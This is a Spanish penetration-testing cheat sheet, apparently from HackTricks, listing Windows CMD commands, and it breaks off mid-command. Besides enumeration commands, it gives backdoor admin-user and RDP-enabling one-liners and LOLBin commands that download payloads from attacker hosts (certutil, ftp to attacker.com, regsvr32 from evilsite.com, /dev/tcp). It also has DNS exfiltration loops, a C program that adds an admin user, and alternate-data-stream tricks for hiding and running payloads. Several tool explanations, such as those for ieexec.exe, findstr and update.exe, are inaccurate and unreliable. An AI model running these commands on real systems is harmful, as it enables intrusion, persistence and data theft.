## CMD básico de Windows para Pentesters
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com) * **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Información del sistema ### Información de versión y parches ```bash wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information wmic computersystem LIST full #Get PC info wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches wmic qfe list brief #Updates hostname DRIVERQUERY #3rd party driver vulnerable? ``` ### Entorno ```bash set #List all environment variables ``` Algunas variables de entorno para destacar: * **COMPUTERNAME**: Nombre del equipo * **TEMP/TMP:** Carpeta temporal * **USERNAME:** Tu nombre de usuario * **HOMEPATH/USERPROFILE:** Directorio de inicio * **windir:** C:\Windows * **OS**: Sistema operativo Windows * **LOGONSERVER**: Nombre del controlador de dominio * **USERDNSDOMAIN**: Nombre de dominio para usar con DNS * **USERDOMAIN**: Nombre del dominio ```bash nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC ``` ### Discos montados ```bash (wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul) wmic logicaldisk get caption,description,providername ``` ### [Defender](authentication-credentials-uac-and-efs.md#defender) ### Papelera de reciclaje ```bash dir C:\$Recycle.Bin /s /b ``` ### Procesos, Servicios y Software ```bash schtasks /query /fo LIST /v #Verbose out of scheduled tasks schtasks /query /fo LIST 2>nul | findstr TaskName schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM tasklist /V #List processes tasklist /SVC #links processes to started services net start #Windows Services started wmic service list brief #List services sc query #List of services dir /a "C:\Program Files" #Installed software dir /a "C:\Program Files (x86)" #Installed software reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software ``` ## Información del dominio ```bash # Generic AD info echo %USERDOMAIN% #Get domain name echo %USERDNSDOMAIN% #Get domain name echo %logonserver% #Get name of the domain controller set logonserver #Get name of the domain controller set log #Get name of the domain controller gpresult /V # Get current policy applied wmic ntdomain list /format:list #Displays information about the Domain and Domain Controllers # Users dsquery user #Get all users net user /domain #List all users of the domain net user /domain #Get information about that user net accounts /domain #Password and lockout policy wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts. # Groups net group /domain #List of domain groups net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here) net group "Domain Admins" /domain #List users with domain admin privileges net group "domain computers" /domain #List of PCs connected to the domain net group "Domain Controllers" /domain #List PC accounts of domains controllers wmic group list /format:list # Information about all local groups wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group # Computers dsquery computer #Get all computers net view /domain #Lis of PCs of the domain nltest /dclist: #List domain controllers wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers # Trust relations nltest /domain_trusts #Mapping of the trust relationships # Get all objects inside an OU dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL" ``` ### Registros y Eventos ```bash #Make a security query using another credentials wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321 ``` ## Usuarios y Grupos ### Usuarios ```bash #Me whoami /all #All info about me, take a look at the enabled tokens whoami /priv #Show only privileges # Local users net users #All users dir /b /ad "C:\Users" net user %username% #Info about a user (me) net accounts #Information about password requirements wmic USERACCOUNT Get Domain,Name,Sid net user /add [username] [password] #Create user # Other users looged qwinsta #Anyone else logged in? #Lauch new cmd.exe with new creds (to impersonate in network) runas /netonly /user\ "cmd.exe" ::The password will be prompted #Check current logon session as administrator using logonsessions from sysinternals logonsessions.exe logonsessions64.exe ``` ### Grupos ```bash #Local net localgroup #All available groups net localgroup Administrators #Info about a group (admins) net localgroup administrators [username] /add #Add user to administrators #Domain net group /domain #Info about domain groups net group /domain #Users that belongs to the group ``` ### Listar sesiones ``` qwinsta klist sessions ``` ### Política de contraseñas ``` net accounts ``` ### Credenciales ```bash cmdkey /list #List credential vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access ``` ### Persistencia con usuarios ```bash # Add domain user and put them in Domain Admins group net user username password /ADD /DOMAIN net group "Domain Admins" username /ADD /DOMAIN # Add local user and put them local Administrators group net user username password /ADD net localgroup Administrators username /ADD # Add user to insteresting groups: net localgroup "Remote Desktop Users" UserLoginName /add net localgroup "Debugger users" UserLoginName /add net localgroup "Power users" UserLoginName /add ``` ## Red ### Interfaces, Rutas, Puertos, Hosts y DNSCache ```bash ipconfig /all #Info about interfaces route print #Print available routes arp -a #Know hosts netstat -ano #Opened ports? type C:\WINDOWS\System32\drivers\etc\hosts ipconfig /displaydns | findstr "Record" | findstr "Name Host" ``` ### Firewall Un firewall es un software o hardware que se utiliza para controlar el tráfico de red entrante y saliente. Su objetivo es proteger la red de posibles amenazas externas, como ataques de hackers o malware. Los firewalls pueden ser configurados para permitir o bloquear ciertos tipos de tráfico de red, y pueden ser personalizados para satisfacer las necesidades específicas de una organización. Es importante tener un firewall configurado adecuadamente para garantizar la seguridad de la red. ```bash netsh firewall show state # FW info, open ports netsh advfirewall firewall show rule name=all netsh firewall show config # FW info Netsh Advfirewall show allprofiles NetSh Advfirewall set allprofiles state off #Turn Off NetSh Advfirewall set allprofiles state on #Trun On netsh firewall set opmode disable #Turn Off #How to open ports netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138 netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139 netsh firewall add portopening TCP 3389 "Remote Desktop" #Enable Remote Desktop reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh firewall add portopening TCP 3389 "Remote Desktop" ::netsh firewall set service remotedesktop enable #I found that this line is not needed ::sc config TermService start= auto #I found that this line is not needed ::net start Termservice #I found that this line is not needed #Enable Remote Desktop with wmic wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1" ##or wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1" #Enable Remote assistance: reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f netsh firewall set service remoteadmin enable #Ninja combo (New Admin User, RDP + Rassistance + Firewall allow) net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable ::Connect to RDP (using hash or password) xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49 xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49 ``` ### Comparticiones ```bash net view #Get a list of computers net view /all /domain [domainname] #Shares on the domains net view \\computer /ALL #List shares of a computer net use x: \\computer\share #Mount the share locally net share #Check current shares ``` ### Wifi ```bash netsh wlan show profile #AP SSID netsh wlan show profile key=clear #Get Cleartext Pass ``` ### SNMP El Protocolo Simple de Administración de Red (SNMP, por sus siglas en inglés) es un protocolo de red utilizado para administrar y supervisar dispositivos de red. SNMP permite a los administradores de red monitorear el rendimiento de los dispositivos de red, detectar y solucionar problemas de red y configurar dispositivos de red de forma remota. Los dispositivos de red que admiten SNMP tienen un agente SNMP que recopila información sobre el dispositivo y la envía a un servidor SNMP para su análisis. ``` reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s ``` ### Interfaces de Red ```bash ipconfig /all ``` ### Tabla ARP ```bash arp -A ``` ## Descarga Bitsadmin.exe ``` bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1 ``` # CertReq.exe CertReq.exe es una herramienta de línea de comandos que se utiliza para solicitar y emitir certificados digitales. Esta herramienta se utiliza comúnmente en entornos de Windows para automatizar el proceso de solicitud y emisión de certificados. ## Sintaxis La sintaxis básica de CertReq.exe es la siguiente: ``` certreq [opciones] [solicitud de certificado] [certificado emitido] ``` ## Opciones comunes A continuación se presentan algunas de las opciones más comunes que se utilizan con CertReq.exe: - `-new`: Crea una nueva solicitud de certificado. - `-submit`: Envía una solicitud de certificado a una autoridad de certificación (CA) para su emisión. - `-accept`: Acepta un certificado emitido y lo instala en el almacén de certificados local. - `-retrieve`: Recupera un certificado emitido de una CA. - `-sign`: Firma un archivo con un certificado digital. - `-policy`: Especifica la política de certificación que se utilizará para la solicitud de certificado. ## Ejemplos de uso A continuación se presentan algunos ejemplos de cómo se puede utilizar CertReq.exe: - Crear una nueva solicitud de certificado: ``` certreq -new solicitud.inf certificado.cer ``` - Enviar una solicitud de certificado a una CA: ``` certreq -submit solicitud.req certificado.cer ``` - Aceptar un certificado emitido y agregarlo al almacén de certificados local: ``` certreq -accept certificado.cer ``` - Recuperar un certificado emitido de una CA: ``` certreq -retrieve 1234 certificado.cer ``` - Firmar un archivo con un certificado digital: ``` certreq -sign archivo.txt archivo.firmado.txt ``` - Especificar la política de certificación que se utilizará para la solicitud de certificado: ``` certreq -new solicitud.inf certificado.cer -policy "Política de certificación" ``` ``` CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt ``` Certutil.exe es una herramienta de línea de comandos que se utiliza para administrar certificados en sistemas operativos Windows. Puede ser utilizado para instalar, eliminar y administrar certificados y listas de revocación de certificados (CRL). También puede ser utilizado para codificar y decodificar archivos y para verificar la firma digital de archivos. Certutil.exe es una herramienta útil para los pentesters que buscan obtener información sobre los certificados instalados en un sistema y para manipularlos para llevar a cabo ataques. ``` certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe ``` `Desktopimgdownldr.exe` ``` set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr ``` Diantz.exe ``` diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab ``` Esentutl.exe es una herramienta de línea de comandos que se utiliza para realizar tareas de mantenimiento y recuperación en bases de datos de Microsoft Jet (.mdb) y bases de datos de almacenamiento de Windows (.edb). Algunas de las tareas que se pueden realizar con esta herramienta incluyen la reparación de bases de datos corruptas, la compresión de bases de datos y la eliminación de bases de datos no utilizadas. Es una herramienta útil para los pentesters que trabajan en entornos de Windows, ya que puede ayudar a identificar y solucionar problemas relacionados con las bases de datos. ``` esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o ``` `Expand.exe` es una herramienta de línea de comandos de Windows que se utiliza para descomprimir archivos comprimidos en formato .cab. Puede ser útil para los pentesters ya que algunos archivos .cab pueden contener información sensible o archivos maliciosos que pueden ser explotados. La sintaxis básica de `Expand.exe` es la siguiente: ``` expand.exe [-r] [-d ] ``` Donde: - `` es el archivo .cab que se desea descomprimir. - `-r` es una opción opcional que indica que se deben descomprimir todos los archivos y subdirectorios del archivo .cab. - `-d ` es una opción opcional que indica la ruta donde se deben descomprimir los archivos. Si no se especifica, los archivos se descomprimirán en el directorio actual. ``` expand \\webdav\folder\file.bat c:\ADS\file.bat ``` `Extrac32.exe` es una herramienta de línea de comandos en Windows que se utiliza para extraer archivos de un archivo comprimido. Es similar a la herramienta `expand.exe`, pero `Extrac32.exe` es capaz de manejar archivos comprimidos en formato CAB. Para utilizar `Extrac32.exe`, simplemente abra una ventana de línea de comandos y escriba el comando seguido del nombre del archivo comprimido y la ubicación donde desea extraer los archivos. ``` extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt ``` # Findstr.exe `findstr` es una herramienta de línea de comandos que se utiliza para buscar cadenas de texto en archivos. Es muy útil para buscar información en archivos de registro, archivos de configuración y otros archivos de texto. ## Sintaxis ``` findstr [opciones] cadena [archivo(s)] ``` ## Opciones - `/i`: Ignora mayúsculas y minúsculas. - `/s`: Busca en subdirectorios. - `/n`: Muestra el número de línea junto con la cadena coincidente. - `/v`: Muestra las líneas que no contienen la cadena especificada. - `/c`: Cuenta el número de líneas que contienen la cadena especificada. - `/m`: Detiene la búsqueda después de encontrar una coincidencia. - `/r`: Utiliza expresiones regulares en lugar de cadenas literales. ## Ejemplos - Buscar una cadena en un archivo: ``` findstr "cadena" archivo.txt ``` - Buscar una cadena en varios archivos: ``` findstr "cadena" archivo1.txt archivo2.txt archivo3.txt ``` - Buscar una cadena en todos los archivos de un directorio: ``` findstr "cadena" * ``` - Buscar una cadena en todos los archivos de un directorio y sus subdirectorios: ``` findstr /s "cadena" * ``` - Buscar una cadena en un archivo y mostrar el número de línea: ``` findstr /n "cadena" archivo.txt ``` - Buscar una cadena en un archivo y mostrar las líneas que no contienen la cadena: ``` findstr /v "cadena" archivo.txt ``` - Contar el número de líneas que contienen una cadena en un archivo: ``` findstr /c "cadena" archivo.txt ``` - Utilizar una expresión regular para buscar una cadena en un archivo: ``` findstr /r "expresión regular" archivo.txt ``` ``` findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe ``` # Ftp.exe `ftp.exe` es una herramienta de línea de comandos que se utiliza para transferir archivos entre sistemas a través del protocolo FTP (File Transfer Protocol). Es una herramienta muy útil para los pentesters, ya que les permite transferir archivos desde y hacia un sistema comprometido. ## Comandos básicos ### Conexión Para conectarse a un servidor FTP, se utiliza el siguiente comando: ``` ftp ``` ### Inicio de sesión Una vez conectado al servidor, se debe iniciar sesión con un nombre de usuario y una contraseña. Para hacerlo, se utiliza el siguiente comando: ``` user ``` ### Descarga de archivos Para descargar un archivo desde el servidor FTP, se utiliza el siguiente comando: ``` get ``` ### Subida de archivos Para subir un archivo al servidor FTP, se utiliza el siguiente comando: ``` put ``` ### Cambio de directorio Para cambiar el directorio actual en el servidor FTP, se utiliza el siguiente comando: ``` cd ``` ### Listado de archivos Para listar los archivos en el directorio actual del servidor FTP, se utiliza el siguiente comando: ``` ls ``` ### Salida Para salir de la sesión FTP, se utiliza el siguiente comando: ``` bye ``` ## Ejemplo de uso A continuación, se muestra un ejemplo de cómo utilizar `ftp.exe` para descargar un archivo desde un servidor FTP: ``` ftp 192.168.1.100 user username password get file.txt bye ``` ``` cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v" ``` `GfxDownloadWrapper.exe` ``` C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE" ``` Hh.exe es un ejecutable de Windows que se utiliza para mostrar archivos de ayuda HTML. Puede ser utilizado por los atacantes para ejecutar comandos arbitrarios en un sistema comprometido. Es importante tener en cuenta que hh.exe no es un archivo malicioso en sí mismo, sino que es una herramienta legítima que puede ser utilizada de manera malintencionada. ``` HH.exe http://some.url/script.ps1 ``` # ieexec.exe El archivo ieexec.exe es un ejecutable de Windows que se utiliza para ejecutar comandos de Internet Explorer desde la línea de comandos. Este archivo se encuentra en la carpeta System32 de Windows y se utiliza principalmente para automatizar tareas en Internet Explorer. ## Sintaxis La sintaxis básica para utilizar ieexec.exe es la siguiente: ``` ieexec.exe "comando" ``` Donde "comando" es el comando que se desea ejecutar en Internet Explorer. ## Ejemplos de uso ### Abrir una URL en Internet Explorer ``` ieexec.exe "https://www.google.com" ``` ### Ejecutar un script de JavaScript en una página web ``` ieexec.exe "javascript:alert('Hola, mundo!');" ``` ### Cerrar todas las ventanas de Internet Explorer ``` ieexec.exe "taskkill /f /im iexplore.exe" ``` ## Consideraciones de seguridad El uso de ieexec.exe puede ser peligroso si se utiliza de manera malintencionada. Los atacantes pueden utilizar este archivo para ejecutar comandos maliciosos en un sistema comprometido. Por lo tanto, se recomienda restringir el acceso a ieexec.exe y monitorear su uso en entornos corporativos. ``` ieexec.exe http://x.x.x.x:8080/bypass.exe ``` # Makecab.exe `Makecab.exe` es una herramienta de línea de comandos que se utiliza para comprimir uno o varios archivos en un archivo `.cab`. Este archivo comprimido puede ser útil para transferir archivos a través de la red o para ahorrar espacio en disco. ## Sintaxis ``` makecab [/V[n]] [/D var=value ...] [/L dir] [/F directive_file] source [destination] ``` ## Ejemplos Comprimir un archivo: ``` makecab archivo.txt ``` Comprimir varios archivos: ``` makecab archivo1.txt archivo2.txt archivo3.txt ``` Comprimir un archivo y especificar el nombre del archivo de destino: ``` makecab archivo.txt archivo.cab ``` Comprimir un archivo y especificar la ubicación del archivo de destino: ``` makecab archivo.txt C:\carpeta\archivo.cab ``` ## Referencias - [Microsoft Docs](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/makecab) ``` makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab ``` `MpCmdRun.exe` es una herramienta de línea de comandos que se utiliza para administrar y actualizar Windows Defender. Con esta herramienta, los pentesters pueden realizar análisis de seguridad en el sistema y verificar si hay algún malware presente. Algunos de los comandos útiles que se pueden utilizar con `MpCmdRun.exe` son: - `MpCmdRun.exe -Scan -ScanType 2`: realiza un análisis completo del sistema en busca de malware. - `MpCmdRun.exe -SignatureUpdate`: actualiza las firmas de virus de Windows Defender. - `MpCmdRun.exe -RemoveDefinitions -All`: elimina todas las definiciones de virus antiguas de Windows Defender. - `MpCmdRun.exe -RestoreDefaults`: restaura la configuración predeterminada de Windows Defender. Es importante tener en cuenta que `MpCmdRun.exe` requiere permisos de administrador para ejecutarse correctamente. ``` MpCmdRun.exe -DownloadFile -url -path //Windows Defender executable ``` # Replace.exe `Replace.exe` es una herramienta de línea de comandos que se utiliza para reemplazar archivos. Es útil para reemplazar archivos que están en uso y no se pueden eliminar o reemplazar de otra manera. ## Sintaxis ``` replace.exe [] [/A] [/R] [/S] [/U] [/P] [/W] ``` ## Opciones - ``: especifica el archivo que se va a reemplazar. - ``: especifica el archivo que se va a utilizar para reemplazar el archivo original. - ``: especifica el archivo de respaldo que se creará si se utiliza la opción `/A`. - `/A`: crea un archivo de respaldo antes de reemplazar el archivo original. - `/R`: reemplaza los archivos de solo lectura. - `/S`: reemplaza los archivos en subdirectorios. - `/U`: reemplaza los archivos que son más nuevos que el archivo original. - `/P`: solicita confirmación antes de reemplazar cada archivo. - `/W`: espera a que se complete el reemplazo antes de continuar. ## Ejemplos Reemplazar un archivo: ``` replace.exe archivo_original.txt archivo_nuevo.txt ``` Reemplazar un archivo y crear un archivo de respaldo: ``` replace.exe archivo_original.txt archivo_nuevo.txt archivo_de_respaldo.txt /A ``` Reemplazar un archivo en subdirectorios: ``` replace.exe archivo_original.txt archivo_nuevo.txt /S ``` ``` replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A ``` `Excel.exe` es el ejecutable del programa Microsoft Excel, utilizado para crear y editar hojas de cálculo. ``` Excel.exe http://192.168.1.10/TeamsAddinLoader.dll ``` `Powerpnt.exe` es el ejecutable del programa Microsoft PowerPoint, utilizado para crear presentaciones multimedia. ``` Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll" ``` # Squirrel.exe `squirrel.exe` es una herramienta de línea de comandos que se utiliza para instalar y actualizar aplicaciones de Windows. Es comúnmente utilizado en aplicaciones de escritorio y en aplicaciones de Windows alojadas en la nube. La herramienta se utiliza para descargar y actualizar paquetes de aplicaciones, y también se encarga de la instalación y desinstalación de aplicaciones. Squirrel.exe es compatible con varios formatos de paquetes, incluyendo `.nupkg`, `.zip` y `.tar.gz`. Squirrel.exe también se utiliza en aplicaciones de Windows que se ejecutan en contenedores Docker. En este caso, se utiliza para instalar y actualizar aplicaciones dentro del contenedor. Los pentesters pueden utilizar Squirrel.exe para buscar vulnerabilidades en aplicaciones de Windows que utilizan esta herramienta para la instalación y actualización de aplicaciones. ``` squirrel.exe --download [url to package] ``` # Update.exe `update.exe` es un archivo ejecutable que se utiliza para actualizar software en sistemas Windows. Este archivo se encuentra comúnmente en la carpeta `C:\Windows\System32` y se ejecuta automáticamente cuando se inicia el sistema. Sin embargo, `update.exe` también puede ser utilizado por atacantes para ejecutar malware en un sistema comprometido. Por lo tanto, es importante verificar la ubicación y el hash del archivo `update.exe` para asegurarse de que no ha sido modificado. Además, es recomendable bloquear el acceso a `update.exe` desde la red utilizando un firewall para evitar posibles ataques de malware que intenten descargar archivos maliciosos a través de este archivo. En resumen, `update.exe` es una herramienta útil para mantener actualizado el software en sistemas Windows, pero también puede ser utilizada por atacantes para ejecutar malware. Por lo tanto, es importante tomar medidas de seguridad para protegerse contra posibles ataques. ``` Update.exe --download [url to package] ``` `Winword.exe` es el proceso que se encarga de ejecutar el programa Microsoft Word en sistemas operativos Windows. ``` winword.exe "http://192.168.1.10/TeamsAddinLoader.dll" ``` `wsl.exe` es una herramienta de línea de comandos que permite interactuar con el Subsistema de Windows para Linux (WSL). Con `wsl.exe`, los usuarios pueden ejecutar comandos de Linux directamente desde la línea de comandos de Windows. Esto es útil para aquellos que necesitan acceder a herramientas de Linux mientras trabajan en un entorno de Windows. ``` wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary' ``` ## Miscelánea ```bash cd #Get current dir cd C:\path\to\dir #Change dir dir #List current dir dir /a:h C:\path\to\dir #List hidden files dir /s /b #Recursive list without shit time #Get current time date #Get current date shutdown /r /t 0 #Shutdown now type #Cat file #Runas runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials runas /netonly /user:\ "cmd.exe" ::The password will be prompted #Hide attrib +h file #Set Hidden attrib -h file #Quit Hidden #Give full control over a file that you owns icacls /t /e /p :F icacls /e /r #Remove the permision #Recursive copy to smb xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win #exe2bat to transform exe file in bat file #ADS dir /r #Detect ADS more file.txt:ads.txt #read ADS powershell (Get-Content file.txt -Stream ads.txt) # Get error messages from code net helpmsg 32 #32 is the code in that case ``` ### Saltar la lista negra de caracteres ```bash echo %HOMEPATH:~6,-11% #\ who^ami #whoami ``` ### DOSfuscation Genera una línea de CMD obfuscada. ```powershell git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git cd Invoke-DOSfuscation Import-Module .\Invoke-DOSfuscation.psd1 Invoke-DOSfuscation help SET COMMAND type C:\Users\Administrator\Desktop\flag.txt encoding ``` ### ACLs de dirección de escucha Puedes escuchar en [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) sin ser administrador. ```bash netsh http show urlacl ``` ### Shell DNS manual El **atacante** (Kali) debe usar una de estas 2 opciones: ```bash sudo responder -I #Active sudo tcpdump -i -A proto udp and dst port 53 and dst ip #Passive ``` #### Víctima _**for /f tokens**_ \_\*\*\_técnica: Esto nos permite ejecutar comandos, obtener las primeras X palabras de cada línea y enviarlas a través de DNS a nuestro servidor. ``` for /f %a in ('whoami') do nslookup %a #Get whoami for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a #Get word2 for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c #List folder for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c #List that folder for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c #Same as last one #More complex commands for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i #Same as last one ``` También puedes **redirigir** la salida y luego **leerla**. ``` whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i ``` ## Llamando a CMD desde código C ```c #include /* system, NULL, EXIT_FAILURE */ // When executed by Administrator this program will create a user and then add him to the administrators group // i686-w64-mingw32-gcc addmin.c -o addmin.exe // upx -9 addmin.exe int main (){ int i; i=system("net users otherAcc 0TherAcc! /add"); i=system("net localgroup administrators otherAcc /add"); return 0; } ``` ## Hoja de trucos de corrientes de datos alternativas (ADS/Alternate Data Stream) Tomado de [https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f](https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f) ```bash ##Add content to ADS### type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe" extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}" curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct ^scrobj.dll > fakefile.doc:reg32.bat set-content - path {path to the file} - stream {name of the stream} ## Discover ADS contecnt dir /R streams.exe #Binary from sysinternals# Get-Item -Path .\fie.txt -Stream * gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data' ##Extract content from ADS### expand c:\ads\file.txt:test.exe c:\temp\evil.exe esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o more < c:\ads\file.txt:test.exe ##Executing the ADS content### * WMIC wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"' * Rundll32 rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll * Cscript cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs" * Wscript wscript c:\ads\file.txt:script.vbs echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js * Forfiles forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe" * Mavinject.exe c:\windows\SysWOW64\notepad.exe tasklist | findstr notepad notepad.exe 4172 31C5CE94259D4006 2 18,476 K type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll" c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll" * MSHTA mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta" (Does not work on Windows 10 1903 and newer) * Control.exe control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll https://twitter.com/bohops/status/954466315913310209 * Create service and run sc create evilservice 